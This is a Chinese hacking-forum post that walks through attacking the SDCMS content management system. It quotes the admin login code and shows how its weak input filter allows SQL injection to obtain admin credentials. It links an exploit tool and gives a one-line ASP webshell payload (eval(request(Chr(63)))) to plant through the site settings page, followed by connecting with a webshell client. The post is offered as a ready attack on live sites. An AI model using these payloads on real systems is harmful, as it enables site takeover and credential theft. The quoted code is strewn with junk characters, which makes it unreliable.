找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3344|回复: 0
打印 上一主题 下一主题

SDCMS通杀漏洞利用工具及提权拿SHELL

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 20:57:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
作者:T00LS 鬼哥
. f- H8 i, ?5 Z, o& S漏洞文件:后台目录/index.asp& @  p1 g. m8 M# m# f

2 x- l4 f% u' V" g% l8 |! z  zSub Check
% k* C7 l' o$ r    Dim username,password,code,getcode,Rs
' ~  |, r  Y- N; `& e: Q- r' B    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
- k  n9 U& E) ?! R    username=FilterText(Trim(Request.Form("username")),1)
9 G6 H. L1 A. J  q% z    password=FilterText(Trim(Request.Form("password")),1)
( V" G  e5 I, Q0 {/ i    code=Trim(Request.Form("yzm"))
  `) A% e5 v0 Q7 P6 s2 `* e    getcode=Session("SDCMSCode")( w. S: b, z  l; L
    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died6 G' }5 I0 b2 |/ ~$ e
    IF code="" Then Alert "验证码不能为空!","javascript:history.go(-1)"ied
7 O, ]5 o1 F' y/ [- T1 W    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字!","javascript:history.go(-1)"ied
. t0 h, t7 a) v; x1 A' M    IF code<>getcode Then Alert "验证码错误!","javascript:history.go(-1)"ied. V; S9 w) @$ l/ M, \$ u$ n$ `& t
    IF username="" or password="" Then% Z0 s& G! H. u+ e% K; x
        Echo "用户名或密码不能为空"ied% L$ C! ?0 f4 f0 {
    Else
9 {" E: Y$ m( M. ^, L( _1 H        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")$ G$ P0 W: L$ p. y
        IF Rs.Eof Then% v$ m: I+ }% Q/ v7 P
            AddLog username,GetIp,"登录失败",1( N* D" J2 M1 D+ A
            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"; G, Y) I: E) ^1 A7 w
        Else. V  L& ~' B' |
            Add_Cookies "sdcms_id",Rs(0)
: ]; R! F* S! {' S            Add_Cookies "sdcms_name",username+ k+ H* @4 V' |( n
            Add_Cookies "sdcms_pwd",Rs(2)
( i( d! f$ O+ R3 P  i4 s* J            Add_Cookies "sdcms_admin",Rs(3)
# c# W. m3 L4 p; b% N1 |            Add_Cookies "sdcms_alllever",Rs(4). O" S: Q" [" s# L0 G( [" e8 Z0 J3 ?
            Add_Cookies "sdcms_infolever",Rs(5)' N: I5 z- v* n$ i* J) H0 w
            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&""). o0 w. |4 ]' q: i
            AddLog username,GetIp,"登录成功",1
0 t# W# ]/ O1 ^$ @            '自动删除30天前的Log记录
, o2 d) i3 O0 w4 {- C            IF Sdcms_DataType Then
1 N" A* x* A3 p; P                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")' g3 o  a8 O1 r7 `# f/ O
            Else& u  a" O. a, }2 g* ]. d
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")% X9 G9 T% c6 N, s% e; {
            End IF
8 o! f) I' k4 ^0 G5 S$ R            Go("sdcms_index.asp")
' Y* b$ Y' B# |- a: b7 ]* M! `5 F        End IF( z+ {( \5 H+ ?$ A2 q7 B
        Rs.Close5 I! v) {# ~  w9 e* O) Z
        Set Rs=Nothing" `9 j/ S) {$ G% C% C- z/ X
    End IF) k  J( ]9 T- F, Y/ f
End Sub2 f! ]/ s# C2 U$ F
7 }8 A2 O; j" l8 v# Y6 }
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码( ]: P7 b- v7 M4 {
( U, j3 ^: [4 n( m" P6 e
Function FilterText(ByVal t0,ByVal t1)
9 `; r# ]. _. a; S6 e    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function$ P. ~: g* `) Y/ W& n. s/ R8 i
    t0=Trim(t0)
9 l3 y* e7 O! \5 M+ Z3 e    Select Case t1
2 T: u, @0 w6 R9 V        Case "1"
7 F- t, }! W) A" ?, R+ g            t0=Replace(t0,Chr(32),"")9 w1 B0 N- v4 P" J( g
            t0=Replace(t0,Chr(13),"")
3 r0 u2 x3 g7 Q2 W& J) a, G            t0=Replace(t0,Chr(10)&Chr(10),"")
1 d. b* z# [( `  [3 j7 B5 ]            t0=Replace(t0,Chr(10),"")
; ?) G& O8 L4 K+ v! e! P4 x4 A        Case "2"
& |5 F1 C( P, u4 i            t0=Replace(t0,Chr(8),"")'回格
) u9 C7 X% y- q+ k2 q8 R            t0=Replace(t0,Chr(9),"")'tab(水平制表符)& b! Y+ H* I# l- k7 e2 \2 h7 Z
            t0=Replace(t0,Chr(10),"")'换行* D( _: \9 B) u2 N0 c
            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
2 Q. r$ T9 u! ~: r            t0=Replace(t0,Chr(12),"")'换页. E7 o! {% R) w  F1 Y
            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
3 v4 j4 V7 s: v            t0=Replace(t0,Chr(22),"")3 A5 s4 C  p; c
            t0=Replace(t0,Chr(32),"")'空格 SPACE
1 \. e# U5 z7 ?$ a# t8 P2 I            t0=Replace(t0,Chr(33),"")'!
# l/ @6 w7 W5 V- t" C2 {# O0 N            t0=Replace(t0,Chr(34),"")'"% k$ j8 W  U$ w) y7 r8 d" \
            t0=Replace(t0,Chr(35),"")'#
  C* I3 e* {: [            t0=Replace(t0,Chr(36),"")'$( N4 {+ a; F- ~8 d
            t0=Replace(t0,Chr(37),"")'%
1 W2 j3 G, d" Y; x- H9 ?1 ?* m            t0=Replace(t0,Chr(38),"")'&
8 m6 [, t, ^: B            t0=Replace(t0,Chr(39),"")''
2 b# E% K6 C+ L+ k            t0=Replace(t0,Chr(40),"")'(
( X% a6 a0 N1 @' X' X            t0=Replace(t0,Chr(41),"")')
- E; ~* H) ~: a5 z. R+ p            t0=Replace(t0,Chr(42),"")'*5 s* D, w& X, y* l% d
            t0=Replace(t0,Chr(43),"")'+
8 j, V0 M! Z9 l            t0=Replace(t0,Chr(44),"")',4 X, m. N) D9 A* j
            t0=Replace(t0,Chr(45),"")'-
% H. N( \- T( h3 {1 V" O9 V6 s            t0=Replace(t0,Chr(46),"")'.( v9 q4 Z; R7 M& F$ H/ `3 r
            t0=Replace(t0,Chr(47),"")'/8 l) K$ M3 M8 y
            t0=Replace(t0,Chr(58),"")':7 W/ v3 T& P! n) h0 |
            t0=Replace(t0,Chr(59),"")';+ K* ^$ O2 F; |" Y1 o! S" h
            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'># Q: f& m6 v9 Z
            t0=Replace(t0,Chr(63),"")'?
9 W' M" {. C! E# k  u            t0=Replace(t0,Chr(64),"")'@
$ N$ n6 G# C) i& X% J            t0=Replace(t0,Chr(91),"")'\* F7 k. E8 B& K7 I$ i
            t0=Replace(t0,Chr(92),"")'\0 H+ Q" J6 a7 Y0 |3 k  p+ V
            t0=Replace(t0,Chr(93),"")']  S: R6 f3 k& j* ]4 Z) s8 \
            t0=Replace(t0,Chr(94),"")'^3 k+ b  H8 I, W! ]; l
            t0=Replace(t0,Chr(95),"")'_, |  V8 G! w' L) n
            t0=Replace(t0,Chr(96),"")'`
. z( e' L7 o1 S, b            t0=Replace(t0,Chr(123),"")'{  o, u6 p( ?; e( L  k2 O
            t0=Replace(t0,Chr(124),"")'|
  n* o9 ]+ U  s: T% z% N* ~            t0=Replace(t0,Chr(125),"")'}
* q% E+ W4 b+ A( A, P5 Y9 z5 u/ F* o            t0=Replace(t0,Chr(126),"")'~, R* I2 R# q3 x0 S1 G
    Case Else6 W1 {) Y' S# J* o% D
        t0=Replace(t0, "&", "&")- h+ {+ g  D* ~, @9 N- o) m
        t0=Replace(t0, "'", "'")
4 _: `0 n. u% z: _. F: k        t0=Replace(t0, """", """)
6 H1 l+ ~6 I2 e; `        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")9 K5 k7 R1 W- ?2 O1 a. H, e
    End Select
7 F) _1 m4 U1 }$ i' o8 x    IF Instr(Lcase(t0),"expression")>0 Then% Z% s4 b( y4 S. H7 |# r
        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
5 w6 Q. [0 f& g    End If/ Z5 m1 {# p, e, g8 V2 `7 b* x
    FilterText=t0+ x! n% B$ [6 s0 S
End Function- \' A  i$ X* l9 u
) `$ Z6 ^2 W, _; f  t; I. a: H
看到没。直接参数是1 只过滤
# J- J. f# g/ S% K8 b2 T7 W# S# A                        t0=Replace(t0,Chr(32)," ")
& P; l5 ^" F1 X1 O                        t0=Replace(t0,Chr(13),""), v% V: u) e. L1 w7 }; T
                        t0=Replace(t0,Chr(10)&Chr(10),"
5 Z9 q4 o4 G# A. H/ S$ q# U")
$ b) ]8 `% k, C& j                        t0=Replace(t0,Chr(10),"
/ ^0 Y. T& j! q2 f! |$ j$ G- A, h")
$ P1 s- _+ }* @  m) Q9 `漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!1 n, I2 f8 H, _; `. }" k
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
6 N* K, T; O' P( x# @' {
7 O2 C2 }  m3 S! g; p测试:* Y7 ^# \* e' X5 f4 T2 z

0 ~0 Q7 S. X% Y
( J5 J3 w! F) y现在输入工具上验证码,然后点OK
% x/ P( t! D4 z/ a! F
9 H( ~# @8 X9 w+ K: P4 C0 z( Q; Y8 l/ K9 S6 c
看到我们直接进入后台管理界面了,呵呵!
; l4 B) _- [' @5 e. U! R6 m. d- Z4 q& F9 i$ H& T' |
6 ^! x! e" a6 u  [, J& a! n% [8 Z
  L1 C9 m% B2 h0 V
这样直接进入后台了。。。。% n: M4 ~7 i8 S! G' u
8 W4 E$ Z; E: w

& |/ E* ?( G8 i8 G! p+ K
  {: S+ _' R/ kSDCMS提权:- U! s6 `5 o0 L; ?! W
( {, J7 K: T' V2 A' ?# s6 r* F6 D
方法1:访问:/后台目录/sdcms_set.asp 在 网站名称:后面加个 “:eval(request(Chr(63)))’  即可,直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?. [) J: z, s- M
8 [& L+ u$ [) F8 A8 J- n
( h0 x! J) I) b1 L" e
! ~* s0 q9 t. o- _' k4 q2 D
OK,现在用菜刀连接下!
& S* n! S# ~2 R& c* s4 \  d& a# J7 U; O6 G- m% L  u

9 G( [. i1 X. O( o
' w* ~+ E/ K. G8 q2 g4 d- i& X
$ D: u0 ~* @- s. N$ i' f
0 k4 \7 @. g1 z8 I! m, B# e/ `9 F
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表